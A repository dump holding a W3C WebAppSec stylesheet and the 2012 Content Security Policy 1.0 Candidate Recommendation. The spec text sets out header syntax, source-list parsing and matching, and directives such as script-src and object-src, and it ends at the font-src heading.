================================================ FILE: pinning/published/default.css ================================================ /* * Style sheet for WebAppSec specifications (stolen wholesale from the CSSWG), * to be used in addition to http://www.w3.org/StyleSheets/TR/W3C-{WD,PR,REC} */ @media print { html { margin: 0 !important } body { font-family: serif } th, td { font-family: inherit } a { color: inherit !important } .example:before { font-family: serif !important } a:link, a:visited { text-decoration: none !important } a:link:after, a:visited:after { /* create a cross-ref "see..." */ } } @page { margin: 1.5cm 1.1cm; } body { counter-reset: exampleno figure issue; max-width: 50em; margin: 0 auto !important; } /* Pagination */ h1, h2, h3, h4, h5, h6 { page-break-after: avoid } figure, div.figure, div.sidefigure, pre, table.propdef, table.propdef-extra, .example { page-break-inside: avoid } dt { page-break-after: avoid } span.id {float: right; font-weight: bold} /* General Structural Markup */ h2, h3, h5, h6 { margin-top: 3em; } /* #subtitle is a subtitle in an H2 under the H1 */ h1 + h2, #subtitle + h2 { margin-top: 0; } h4 { margin-top: 4em; } h2 + h3, h3 + h4, h4 + h5, h5 + h6 { margin-top: 1.2em } hr:not([title]) { font-size: 1.5em; text-align: center; margin: 1em auto; border: transparent solid; background: transparent; } hr:not([title])::before { content: "\1F411\2003\2003\1F411\2003\2003\1F411"; } p, div.note, div.issue, details.why { margin-top: 1em; margin-bottom: 1em; } dd > p:first-child, li > p:first-child, .note > p:first-child, .issue > p:first-child { margin-top: 0 } pre { margin-top: 1em; margin-bottom: 1em; } pre, code { font-family: Menlo, Consolas, "DejaVu Sans Mono", monospace; font-size: .9em; } img { border-style: none; color: white; } .toc { } body { line-height: 1.5; } a.logo:link, a.logo:visited { padding: 0; border-style: none; } dl dd { margin: 0 0 1em 2em } .head dd { margin-bottom: 0; } ul, ol { margin-left: 0; padding-left: 2em; } li { margin: 0.25em 2em 0.5em 0; padding-left: 0 } ul.indexlist { margin-left: 0; columns: 13em; } ul.indexlist li { margin-left: 0; list-style: none } ul.indexlist li li { margin-left: 1em } ul.indexlist a { font-weight: bold; } ul.indexlist ul, ul.indexlist dl { font-size: smaller; } ul.indexlist dl { margin-top: 0; } ul.indexlist dt { margin: .2em 0 .2em 20px;} ul.indexlist dd { margin: .2em 0 .2em 40px;} /* .self-link is a link to the element */ .heading, .issue, .note, .example, li, dt { position: relative; } a.self-link { position: absolute; top: 0; left: -2.5em; width: 2em; height: 2em; text-align: center; border: none; transition: opacity .2s; opacity: .5; } a.self-link:hover { opacity: 1; } .heading > a.self-link { font-size: 83%; } li > a.self-link { left: -3.5em; } dfn > a.self-link { top: auto; left: auto; opacity: 0; width: 1.5em; height: 1.5em; background: gray; color: white; font-style: normal; transition: opacity .2s, background-color .2s, color .2s; } dfn:hover > a.self-link { opacity: 1; } dfn > a.self-link:hover { color: black; } a.self-link::before { content: "¶"; } .heading > a.self-link::before { content: "§"; } dfn > a.self-link::before { content: "#"; } /* Examples */ .example { counter-increment: exampleno; } .example:before { content: "Example"; content: "Example " counter(exampleno); min-width: 7.5em; text-transform: uppercase; display: block; } div.illegal-example:before, pre.illegal-example:before { content: "Invalid Example"; content: "Invalid Example" counter(exampleno); } .example, .illegal-example, div.html, div.illegal-html, div.xml, div.illegal-xml, pre.html, pre.illegal-html, pre.xml, pre.illegal-xml { padding: 0.5em; margin: 1em 0; position: relative; clear: both; } pre.example, pre.illegal-example, pre.html, pre.illegal-html, pre.xml, pre.illegal-xml { padding-top: 1.5em; } pre.illegal-example { color: red } div.illegal-example { color: red } div.illegal-example p { color: black } div.html { color: #600 } pre.html { color: #600 } pre.illegal-html { color: red } div.illegal-html { color: red } div.illegal-html p { color: black } pre.deprecated-html { color: red } div.deprecated-html { color: red } div.deprecated-html p { color: black } div.xml { color: #600 } pre.xml { color: #600 } pre.illegal-xml { color: red } div.illegal-xml { color: red } div.illegal-xml p { color: black } .css, .property { color: #005a9c } /* inline CSS code (SPAN/CODE) */ code.css { font-family: inherit; font-size: 100% } code.html { color: #600 } /* inline HTML */ code.xml { color: #600 } /* inline XML */ .property { font: inherit; white-space: nowrap; } /* name of a CSS property (SPAN) */ .descriptor { } /* name of a CSS descriptor (SPAN) */ .type { font-style: italic } /* A value for a property */ /* Autolinks produced using Bikeshed. */ [data-link-type="property"]::before, [data-link-type="propdesc"]::before, [data-link-type="descriptor"]::before, [data-link-type="value"]::before, [data-link-type="function"]::before, [data-link-type="at-rule"]::before, [data-link-type="selector"]::before, [data-link-type="maybe"]::before {content: "\2018";} [data-link-type="property"]::after, [data-link-type="propdesc"]::after, [data-link-type="descriptor"]::after, [data-link-type="value"]::after, [data-link-type="function"]::after, [data-link-type="at-rule"]::after, [data-link-type="selector"]::after, [data-link-type="maybe"]::after {content: "\2019";} [data-link-type].production::before, [data-link-type].production::after, .prod [data-link-type]::before, .prod [data-link-type]::after { content: ""; } /* Element-type link styling */ [data-link-type=element] { font-family: monospace; } [data-link-type=element]::before { content: "<" } [data-link-type=element]::after { content: ">" } dfn { font-weight: bolder; } .issue, .note, .example, .why { padding: .5em; /* padding: .5rem; /* proposed unit in css3-values */ border-left-width: .5em; /* border-left-width: .5rem; /* proposed unit in css3-values */ border-left-style: solid; } span.note, span.issue { padding: .1em .5em .15em; border-right-width: .5em; border-right-style: solid; } /* Open issue / editorial remark; not intended for a final publication */ .issue { border-color: #E05252; background: #FBE9E9; counter-increment: issue; overflow: auto; } .issue:before { content: "Issue " counter(issue); padding-right: 1em; text-transform: uppercase; color: #E05252; } /* Class note is a non-normative note. May be inline or a P or DIV */ .note, .why { border-color: #52E052; background: #E9FBE9; overflow: auto; } .normref { color: red } .informref { color: green } /* Example box */ .example { border-color: #E0CB52; background: #FCFAEE; overflow: auto; } .example:before { color: #B9AB2D; font-family: sans-serif; } details.why { border-color: #52E052; background: #E9FBE9; display: block; } details.why > summary { font-style: italic; display: block; } details.why[open] > summary { border-bottom: 1px silver solid; } /* ToC not indented, but font style shows hierarchy */ ul.toc {margin: 1em 0; padding: 0; line-height: 1.3; font-weight: bold; /*text-transform: uppercase;*/ } ul.toc ul {margin: 0; padding: 0; font-weight: normal; text-transform: none; } ul.toc ul ul {margin: 0 0 0 2em; font-style: italic; } ul.toc ul ul ul {margin: 0} ul.toc > li {margin: 1.5em 0; padding: 0; } ul.toc ul.toc li { margin: 0.3em 0 0 0; } ul.toc a { text-decoration: none; border-bottom-style: none; } ul.toc a:hover, ul.toc a:focus { border-bottom-style: solid; } /* ul.toc li li li, ul.toc li li li ul {margin-left: 0; display: inline} ul.toc li li li ul, ul.toc li li li ul li {margin-left: 0; display: inline} */ /* Section numbers in a column of their own */ ul.toc span.secno {float: left; width: 4em; margin-left: -5em} ul.toc ul ul span.secno { margin-left: -7em; } /*ul.toc span.secno {text-align: right}*/ ul.toc li {clear: both} ul.toc {margin-left: 5em} /* If we had 'tab', floats would not be needed here: ul.toc span.secno {tab: 5em right; margin-right: 1em} ul.toc li {text-indent: 5em hanging} The second line in case items wrap */ ul.index { list-style: none; } s, del {text-decoration: line-through; color: red} u, ins {text-decoration: underline; color: #080} div.figure, p.figure, div.sidefigure, figure { text-align: center; margin: 2.5em 0; } div.figure pre, div.sidefigure pre, figure pre { text-align: left; display: table; margin: 1em auto; } .figure table, figure table { margin: auto; } div.sidefigure, figure.sidefigure { float: right; width: 50%; margin: 0 0 0.5em 0.5em } div.figure img, div.sidefigure img, figure img, div.figure object, div.sidefigure object, figure object { display: block; margin: auto; max-width: 100% } p.caption, figcaption, caption { text-align: center; font-style: italic; font-size: 90%; } p.caption:before, figcaption:before { content: "Figure " counter(figure) ". "; font-weight: bold; } p.caption, figcaption { counter-increment: figure; } /* DL list is indented, but figure inside it is not */ dd { margin-left: 2em } dd div.figure, dd figure { margin-left: -2em } sup { vertical-align: super; font-size: 80% } /* "Equations" (not real MathML, but simple HTML) are put in a blockquote and may have an equation number. We make sure the blockquote has enough margin on the right and then put the equation number there. */ blockquote { margin: 0.5em 4em 0.5em 2em; text-indent: 0; } .eqno { text-align: right; float: right; width: 3em; margin: 0 -4em 0 0; font-weight: bold; /* background: silver; color: black; padding: 0.1em */ } table.equiv-table { border-spacing: 0; margin: 0.5em 0 } table.equiv-table th, table.equiv-table td { padding: 0.3em } table.equiv-table th { text-align: left } /* table.equiv-table th:first-child { text-align: right } */ table.equiv-table td, table.equiv-table th { border-bottom: thin solid #666 } table.equiv-table { border-bottom: hidden } table.equiv-table { empty-cells: show } table.equiv-table caption { margin: 0.5em 0 0 0 } /* Style for table of properties */ table.proptable { font-size: small; border-collapse: collapse; border-spacing: 0; text-align: left; margin: 1em 0; } table.proptable td, table.proptable th { padding: 0.4em; text-align: center; } table.proptable tr:hover td { background: #DEF; } /* Style for table that defines a property or a descriptor */ table.propdef, table.propdef-extra, table.descdef, table.definition-table { border-spacing: 0; padding: 0 1em 0.5em; width: 100%; table-layout: fixed; background: #DEF; margin: 1.2em 0; border-left: 0.5em solid #8CCBF2; } table.propdef td, table.propdef-extra td, table.descdef td, table.definition-table td, table.propdef th, table.propdef-extra th, table.descdef th, table.definition-table th { padding: 0.5em; vertical-align: baseline; border-bottom: 1px solid #bbd7e9; } /* table.propdef dfn, table.propdef-extra dfn, table.descdef dfn { font-weight: bold; font-style: normal } */ table.propdef td:first-child, table.propdef-extra td:first-child, table.descdef td:first-child, table.definition-table td:first-child, table.propdef th:first-child, table.propdef-extra th:first-child, table.descdef th:first-child, table.definition-table th:first-child { font-style: italic; font-weight: normal; width: 8.3em; padding-left: 1em; } table.propdef td[colspan]:first-child, table.propdef-extra td[colspan]:first-child, table.descdef td[colspan]:first-child, table.definition-table td[colspan]:first-child, table.propdef th[colspan]:first-child, table.propdef-extra th[colspan]:first-child, table.descdef th[colspan]:first-child, table.definition-table th[colspan]:first-child { font-style: inherit } table.propdef tr:first-child, table.propdef-extra tr:first-child, table.descdef tr:first-child, table.definition-table tr:first-child { } table.propdef > tbody > tr:last-child th, table.propdef-extra > tbody > tr:last-child th, table.descdef > tbody > tr:last-child th, table.definition-table > tbody > tr:last-child th, table.propdef > tbody > tr:last-child td, table.propdef-extra > tbody > tr:last-child td, table.descdef > tbody > tr:last-child td, table.definition-table > tbody > tr:last-child td { border-bottom: 0; } table.propdef tr:first-child th, table.propdef-extra tr:first-child th, table.descdef tr:first-child th, table.definition-table tr:first-child th, table.propdef tr:first-child td, table.propdef-extra tr:first-child td, table.descdef tr:first-child td, table.definition-table tr:first-child td { padding-top: 1em; } /* For when values are extra-complex and need formatting for readability */ table td.pre { white-space: pre-wrap; } /* A footnote at the bottom of a propdef */ table.propdef td.footnote, table.propdef-extra td.footnote, table.descdef td.footnote, table.definition-table td.footnote { padding-top: 0.6em; width: auto } table.propdef td.footnote:before, table.propdef-extra td.footnote:before, table.descdef td.footnote:before, table.definition-table td.footnote:before { content: " "; display: block; height: 0.6em; width: 4em; border-top: thin solid; } /* The link in the first column in the property table (formerly a TD) */ table.proptable td .property, table.proptable th .property { display: block; text-align: left; font-weight: bold; } /* Styling for IDL fragments */ pre.idl { padding: .5em 1em; background: #DEF; margin: 1.2em 0; border-left: 0.5em solid #8CCBF2; } pre.idl :link, pre.idl :visited { color:inherit; background:transparent; } /* CSS modules typically don't use MUST, SHOULD etc. from RFC 2119, or, if they do, they don't put them in uppercase. But the following class is provided in case a spec wants to use RFC 2119 terms in uppercase in the source. */ em.rfc2119 { text-transform: lowercase; font-variant: small-caps; font-style: normal } /* In Profile specs, a table of required features: */ table.features th { background: #00589f; color: #fff; text-align: left; padding: 0.2em 0.2em 0.2em 0.5em; } table.features td { vertical-align: top; border-bottom: 1px solid #ccc; padding: 0.3em 0.3em 0.3em 0.7em; } /* Style for data tables (and properly marked-up proptables) */ .data, .proptable { margin: 1em auto; border-collapse: collapse; width: 100%; border: hidden; } .data { text-align: center; width: auto; } .data caption { width: 100%; } .data td, .data th, .proptable td, .proptable th { padding: 0.5em; border-width: 1px; border-color: silver; border-top-style: solid; } .data thead td:empty { padding: 0; border: 0; } .data thead th[scope="row"], .proptable thead th[scope="row"] { text-align: right; color: inherit; } .data thead, .proptable thead, .data tbody, .proptable tbody { color: inherit; border-bottom: 2px solid; } .data colgroup { border-left: 2px solid; } .data tbody th:first-child, .proptable tbody th:first-child , .data tbody td[scope="row"]:first-child, .proptable tbody td[scope="row"]:first-child { text-align: right; color: inherit; border-right: 2px solid; border-top: 1px solid silver; padding-right: 1em; } .data.define td:last-child { text-align: left; } .data tbody th[rowspan], .proptable tbody th[rowspan], .data tbody td[rowspan], .proptable tbody td[rowspan]{ border-left: 1px solid silver; } .data tbody th[rowspan]:first-child, .proptable tbody th[rowspan]:first-child, .data tbody td[rowspan]:first-child, .proptable tbody td[rowspan]:first-child{ border-left: 0; border-right: 1px solid silver; } .complex.data th, .complex.data td { border: 1px solid silver; } .data td.long { vertical-align: baseline; text-align: left; } .data img { vertical-align: middle; } table.propdef { table-layout: auto; } .propdef th { font-style: italic; font-weight: normal; text-align: left; width: 3em; } dt dfn code { font-size: inherit; } /* Style for switch/case
s */ dl.switch { padding-left: 2em; } dl.switch > dt { text-indent: -1.5em; } dl.switch > dt:before { content: '\21AA'; padding: 0 0.5em 0 0; display: inline-block; width: 1em; text-align: right; line-height: 0.5em; } /* Style for At Risk features (intended as editorial aid, not intended for publishing) */ .atrisk::before { position: absolute; margin-left: -5em; margin-top: -2px; padding: 4px; border: 1px solid; content: 'At risk'; font-size: small; background-color: white; color: gray; border-radius: 1em; text-align: center; } .toc .atrisk::before { content:none } /* This is mostly to make the list inside the CR exit criteria more compact. */ ol.inline, ol.inline li {display: inline; padding: 0; margin: 0} ol.inline {counter-reset: list-item} ol.inline li {counter-increment: list-item} ol.inline li:before {content: "(" counter(list-item) ") "; font-weight: bold} /* This styles the obsoletion notice on some of our older/abandoned specs. */ details.annoying-warning[open] { background: #fdd; color: red; font-weight: bold; text-align: center; padding: .5em; border: thick solid red; border-radius: 1em; position: fixed; left: 1em; right: 1em; bottom: 1em; z-index: 1000; } details.annoying-warning:not([open]) > summary { background: #fdd; color: red; font-weight: bold; text-align: center; padding: .5em; } ================================================ FILE: published/2012-11-15-CSP-1-0-CR.html ================================================ Content Security Policy 1.0

This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.

This document describes a proposal that has been discussed by the broader community for about two years. There are experimental implementations in Firefox and Chrome, using the header names X-Content-Security-Policy and X-WebKit-CSP respectively. Internet Explorer 10 Platform Preview also contains a partial implementation, using the header name X-Content-Security-Policy.

In addition to the documents in the W3C Web Application Security working group, the work on this document is also informed by the work of the IETF websec working group, particularly that working group's requirements document: draft-hodges-websec-framework-reqs.

Introduction

This document defines Content Security Policy, a mechanism web applications can use to mitigate a broad class of content injection vulnerabilities, such as cross-site scripting (XSS). Content Security Policy is a declarative policy that lets the authors (or server administrators) of a web application inform the client from where the application expects to load resources.

To mitigate XSS, for example, a web application can declare from where it expects to load scripts, allowing the client to detect and block malicious scripts injected into the application by an attacker.

Content Security Policy (CSP) is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth, to reduce the harm caused by content injection attacks.

There is often a non-trivial amount of work required to apply CSP to an existing web application. To reap the greatest benefit, authors will need to move all inline script and style out-of-line, for example into external scripts, because the user agent cannot determine whether an inline script was injected by an attacker.

To take advantage of CSP, a web application opts into using CSP by supplying a Content-Security-Policy HTTP header Such policies apply the current resource representation only. To supply a policy for an entire site, the server needs to supply a policy with each resource representation.

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("MUST", "SHOULD", "MAY", etc) used in introducing the algorithm.

A conformant user agent MUST implement all the requirements listed in this specification that are applicable to user-agents, and MAY implement those marked as "(Optional)".

A conformant server MUST implement all the requirements listed in this specification that are applicable to servers.

Key Concepts and Terminology

This section defines several terms used throughout the document.

The term security policy, or simply policy, for the purposes of this specification refers to either:

  1. a set of security preferences for restrictions within which the content can operate, or
  2. a fragment of text that codifies these preferences.

The security policies defined by this document are applied by a user agent on a per-resource representation basis. Specifically, when a user agent receives a policy along with the representation of a given resource, that policy applies to that resource representation only. This document often refers to that resource representation as the protected resource.

A server transmits its security policy for a particular protected resource as a collection of directives, such as default-src 'self', each of which declares a specific set of restrictions for that resource as instantiated by the user agent. More details are provided in the directives section.

A directive consists of a directive name, which indicates the privileges controlled by the directive, and a directive value, which specifies the restrictions the policy imposes on those privileges.

The term origin is defined in the Origin specification. [[!RFC6454]]

The term URI is defined in the URI specification. [[!URI]]

The term resource representation is defined in the HTTP 1.1 specification. [[!HTTP11]]

The <script>, <object>, <embed>, <img>, <video>, <audio>, <source>, <track>, <link>, <applet>, <frame> and <iframe> elements are defined in the HTML5 specification. [[!HTML5]]

A plugin is defined in the HTML5 specification. [[!HTML5]]

The @font-face Cascading Style Sheets (CSS) rule is defined in the CSS Fonts Module Level 3 specification. [[!CSS3FONT]]

The XMLHttpRequest object is defined in the XMLHttpRequest specification. [[!XMLHTTPREQUEST]]

The WebSocket object is defined in the WebSocket specification. [[!WEBSOCKETS]]

The EventSource object is defined in the EventSource specification. [[!EVENTSOURCE]]

The Augmented Backus-Naur Form (ABNF) notation used in this document is specified in RFC 5234. [[!ABNF]]

This document also uses the ABNF extension "#rule" as defined in HTTP 1.1. [[!HTTP11]]

The following core rules are included by reference, as defined in [ABNF Appendix B.1]: ALPHA (letters), DIGIT (decimal 0-9), WSP (white space) and VCHAR (printing characters).

Framework

This section defines the general framework for content security policies, including the delivery mechanisms and general syntax for policies. The next section contains the details of the specific directives introduced in this specification.

Policy Delivery

The server delivers the policy to the user agent via an HTTP response header.

Content-Security-Policy Header Field

The Content-Security-Policy header field is the preferred mechanism for delivering a CSP policy.

"Content-Security-Policy:" 1#policy

A server MAY send more than one HTTP header field named Content-Security-Policy with a given resource representation.

A server MAY send different Content-Security-Policy header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy header field, the user agent MUST enforce each of the policies contained in each such header field.

Content-Security-Policy-Report-Only Header Field

The Content-Security-Policy-Report-Only header field lets servers experiment with policies by monitoring (rather than enforcing) a policy.

"Content-Security-Policy-Report-Only:" 1#policy

For example, a server operators might wish to develop their security policy iteratively. The operators can deploy a report-only policy based on their best estimate of how their site behaves. If their site violates this policy, instead of breaking the site, the user agent will send violation reports to a URI specified in the policy. Once a site has confidence that the policy is appropriate, they start enforcing the policy using the Content-Security-Policy header field.

A server MAY send more than one HTTP header field named Content-Security-Policy-Report-Only with a given resource representation.

A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy-Report-Only header field, the user agent MUST monitor each of the policies contained in each such header field.

Syntax and Algorithms

Policies

A CSP policy consists of a U+003B SEMICOLON (;) delimited list of directives:

policy            = [ directive *( ";" [ directive ] ) ]

Each directive consists of a directive-name and (optionally) a directive-value:

directive         = *WSP [ directive-name [ WSP directive-value ] ]
directive-name    = 1*( ALPHA / DIGIT / "-" )
directive-value   = *( WSP / <VCHAR except ";" and ","> )
Parsing

To parse a CSP policy policy, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of directives be the empty set.
  2. For each non-empty token returned by strictly splitting the string policy on the character U+003B SEMICOLON (;):
    1. Skip whitespace.
    2. Collect a sequence of characters that are not space characters. The collected characters are the directive name.
    3. If there are characters remaining in token, skip ahead exactly one character (which must be a space character).
    4. The remaining characters in token (if any) are the directive value.
    5. If the set of directives already contains a directive with name directive name, ignore this instance of the directive and continue to the next token.
    6. Add a directive to the set of directives with name directive name and value directive value.
  3. Return the set of directives.

Source List

Many CSP directives use a value consisting of a source list.

Each source expression in the source list represents a location from which content of the specified type can be retrieved. For example, the source expression 'self' represents the set of URIs which are in the same origin as the protected resource and the source expression 'unsafe-inline' represents content supplied inline in the resource itself.

source-list       = *WSP [ source-expression *( 1*WSP source-expression ) *WSP ]
                  / *WSP "'none'" *WSP
source-expression = scheme-source / host-source / keyword-source
scheme-source     = scheme ":"
host-source       = [ scheme "://" ] host [ port ]
ext-host-source   = host-source "/" *( <VCHAR except ";" and ","> )
                  ; ext-host-source is reserved for future use.
keyword-source    = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
scheme            = <scheme production from RFC 3986>
host              = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char         = ALPHA / DIGIT / "-"
port              = ":" ( 1*DIGIT / "*" )
Parsing

To parse a source list source list, the user agent MUST use an algorithm equivalent to the following:

  1. If source list (with leading and trailing whitespace stripped) is a case insensitive match for the string 'none' (including the quotation marks), return the empty set.
  2. Let the set of source expressions be the empty set.
  3. For each token returned by splitting source list on spaces, if the token matches the grammar for source-expression or ext-host-source, add the token to the set of source expressions.
  4. Return the set of source expressions.
Matching

To check whether a URI matches a source expression, the user agent MUST use an algorithm equivalent to the following:

  1. If the source expression a consists of a single U+002A ASTERISK character (*), then return does match.
  2. If the source expression matches the grammar for scheme-source:
    1. If the URI's scheme is a case-insensitive match for the source expression's scheme, return does match.
    2. Otherwise, return does not match.
  3. If the source expression matches the grammar for host-source or ext-host-source:
    1. If the URI does not contain a host, then return does not match.
    2. Let uri-scheme, uri-host, and uri-port be the scheme, host, and port of the URI, respectively. If the URI does not have a port, then let uri-port be the default port for uri-scheme.
    3. If the source expression has a scheme that is not a case insensitive match for uri-scheme, then return does not match.
    4. If the source expression does not have a scheme and if uri-scheme is not a case insensitive match for the scheme of the protected resource's URI, then return does not match.
    5. If the first character of the source expression's host is an U+002A ASTERISK character (*) and the remaining characters, including the leading U+002E FULL STOP character (.), are not a case insensitive match for the rightmost characters of uri-host, then return does not match.
    6. If the first character of the source expression's host is not an U+002A ASTERISK character (*) and uri-host is not a case insensitive match for the source expression's host, then return does not match.
    7. If the source expression does not contain a port and uri-port is not the default port for uri-scheme, then return does not match.
    8. If the source expression does contain a port that (a) does not contain an U+002A ASTERISK character (*) and (b) does not represent the same number as uri-port, then return does not match.
    9. Otherwise, return does match.
  4. If the source expression is a case insensitive match for 'self' (including the quotation marks), then return does match if the URI has the same scheme, host, and port as the protected resource's URI (using the default port for the appropriate scheme if either or both URIs are missing ports).
  5. Otherwise, return does not match.

A URI matches a source list, if, and only if, the URI matches at least one source expression in the set of source expressions obtained by parsing the source list. Notice that no URIs match an empty set of source expressions, such as the set obtained by parsing the source list 'none'.

Processing Model

To enforce a CSP policy, the user agent MUST parse the policy and enforce each of the directives contained in the policy, where the specific requirements for enforcing each directive are defined separately for each directive (See Directives, below).

Generally speaking, enforcing a directive prevents the protected resource from performing certain actions, such as loading scripts from URIs other than those indicated in a source list. These restrictions make it more difficult for an attacker to abuse an injection vulnerability in the resource because the attacker will be unable to usurp the resource's privileges that have been restricted in this way.

Enforcing a CSP policy SHOULD NOT interfere with the operation of user-supplied scripts such as third-party user-agent add-ons and JavaScript bookmarklets.

To monitor a CSP policy, the user agent MUST parse the policy and monitor each of the directives contained in the policy.

Monitoring a directive does not prevent the protected resource from undertaking any actions. Instead, any actions that would have been prevented by the directives are instead reported to the developer of the web application. Monitoring a CSP policy is useful for testing whether enforcing the policy will cause the web application to malfunction.

A server MAY cause user agents to monitor one policy while enforcing another policy by returning both Content-Security-Policy and Content-Security-Policy-Report-Only header fields. For example, if a server operator is using one policy but wishes to experiment with a stricter policy, the server operator can monitor the stricter policy while enforcing the original policy. Once the server operator is satisfied that the stricter policy does not break the web application, the server operator can start enforcing the stricter policy.

If the user agent monitors or enforces a CSP policy that does not contain any directives, the user agent SHOULD report a warning message in the developer console.

If the user agent monitors or enforces a CSP policy that contains an unrecognized directive, the user agent SHOULD report a warning message in the developer console indicating the name of the unrecognized directive.

Whenever a user agent runs a worker: [[!WEBWORKERS]]

  • If the user agent is enforcing a CSP policy for the owner document, the user agent MUST enforce the CSP policy for the worker.
  • If the user agent is monitoring a CSP policy for the owner document, the user agent MUST monitor the CSP policy for the worker.

Directives

This section describes the content security policy directives introduced in this specification.

In order to protect against Cross-Site Scripting (XSS), web application authors SHOULD include

  • both the script-src and object-src directives, or
  • include a default-src directive, which covers both scripts and plugins.

In either case, authors SHOULD NOT include 'unsafe-inline' in their CSP policies if they wish to protect themselves against XSS.

default-src

The default-src directive sets a default source list for a number of directives. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "default-src"
directive-value   = source-list

Let the default sources be the result of parsing the directive's value as a source list.

To enforce the default-src directive, the user agent MUST enforce the following directives:

  • script-src
  • object-src
  • style-src
  • img-src
  • media-src
  • frame-src
  • font-src
  • connect-src

If not specified explicitly in the policy, the directives listed above will use the default sources.

script-src

The script-src directive restricts which scripts the protected resource can execute. The directive also controls other resources, such as XSLT style sheets [[!XSLT]], which can cause the user agent to execute script. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "script-src"
directive-value   = source-list

If the policy contains an explicit script-src, let the allowed script sources be the result of parsing the directive's value as a source list. Otherwise, let the allowed script sources be the default sources

If 'unsafe-inline' is not in allowed script sources:

  • Whenever the user agent would execute an inline script (either from a script element or from an inline event handler), instead the user agent MUST NOT execute script.
  • Whenever the user agent would execute script contained in a javascript URI, instead the user agent MUST NOT execute the script. (The user agent SHOULD execute script contained in "bookmarklets" even when enforcing this restriction.)

If 'unsafe-eval' is not in allowed script sources:

  • Instead of evaluating their arguments, both operator eval and function eval MUST throw a security exception. [[!ECMA-262]]
  • When called as a constructor, the function Function MUST throw a security exception. [[!ECMA-262]]
  • When called with a first argument that is non-callable (e.g., not a function), the setTimeout function MUST return zero without creating a timer.
  • When called with a first argument that is non-callable (e.g., not a function), the setInterval function MUST return zero without creating a timer.

The term callable refers to an object whose interface has one or more callers as defined in the Web IDL specification [[!WEBIDL]].

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed script sources, the user agent MUST act as if it had received an empty HTTP 400 response:

  • Requesting a script, such as when processing the src attribute of a script element or when processing the Worker or SharedWorker constructors.
  • Requesting an Extensible Stylesheet Language Transformations (XSLT) [[!XSLT]], such as when processing the <?xml-stylesheet?> processing directive in an XML document [[!XML11]], the href attributes on <xsl:include> element, or the href attributes on <xsl:import> element.

object-src

The object-src directive restricts from where the protected resource can load plugins. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "object-src"
directive-value   = source-list

If the policy contains an explicit object-src, let the allowed object sources be the result of parsing the directive's value as a source list. Otherwise, let the allowed object sources be the default sources

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed object sources, the user agent MUST act as if it had received an empty HTTP 400 response:

  • Requesting data for a plugin, such as when processing the data attribute of an object element, the src attribute of an embed elements, or the code or archive attributes of an applet element.
  • Requesting data for display in a nested browsing context in the protected resource created by an object or an embed element.
  • Navigating such a nested browsing context.

It is not required that the consumer of the element's data be a plugin in order for the object-src directive to be enforced. Data for any object, embed, or applet element MUST match the allowed object sources in order to be fetched. This is true even when the element data is semantically equivalent to content which would otherwise be restricted by one of the other directives, such as an object element with a text/html MIME type.

Whenever the user agent would load a plugin without an associated URI (e.g., because the object element lacked a data attribute), if the protected resource's URI does not match the allowed object sources, the user agent MUST NOT load the plugin.

style-src

The style-src directive restricts which styles the user applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "style-src"
directive-value   = source-list

If the policy contains an explicit style-src, let the allowed style sources be the result of parsing the directive's value as a source list. Otherwise, let the allowed style sources be the default sources

If 'unsafe-inline' is not in allowed style sources:

  • Whenever the user agent would apply style from a style element, instead the user agent MUST ignore the style.
  • Whenever the user agent would apply style from a style attribute, instead the user agent MUST ignore the style.

Note: These restrictions on inline do not prevent the user agent from applying style from an external stylesheet (e.g., found via <link rel="stylesheet">). The user agent is also not prevented from applying style from Cascading Style Sheets Object Model (CSSOM). [[!CSSOM]]

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed style sources, the user agent MUST act as if it had received an empty HTTP 400 response:

  • Requesting external style sheets, such as when processing the href attribute of a link element with a rel attribute containing the token stylesheet or when processing the @import directive in a stylesheet.

Note: The style-src directive does not restrict the use of XSLT. XSLT is restricted by the script-src directive because the security consequences of including an untrusted XSLT stylesheet are similar to those incurred by including an untrusted script.

img-src

The img-src directive restricts from where the protected resource can load images. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "img-src"
directive-value   = source-list

If the policy contains an explicit img-src, let the allowed image sources be the result of parsing the directive's value as a source list. Otherwise, let the allowed image sources be the default sources

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed image sources, the user agent MUST act as if it had received an empty HTTP 400 response:

  • Requesting data for an image, such as when processing the src attribute of an img elements, the url() or image() values on any Cascading Style Sheets (CSS) property that is capable of loading an image [CSS3-Images], or the href attribute of a link element with an image-related rel attribute, such as icon.

media-src

The media-src directive restricts from where the protected resource can load video and audio. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "media-src"
directive-value   = source-list

If the policy contains an explicit media-src, let the allowed media sources be the result of parsing the directive's value as a source list. Otherwise, let the allowed media sources be the default sources

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed media sources, the user agent MUST act as if it had received an empty HTTP 400 response:

  • Requesting data for a video or audio clip, such as when processing the src attribute of a video, audio, source, or track elements.

frame-src

The frame-src directive restricts from where the protected resource can embed frames. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "frame-src"
directive-value   = source-list

If the policy contains an explicit frame-src, let the allowed frame sources be the result of parsing the directive's value as a source list. Otherwise, let the allowed frame sources be the default sources

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed frame sources, the user agent MUST act as if it had received an empty HTTP 400 response:

font-src

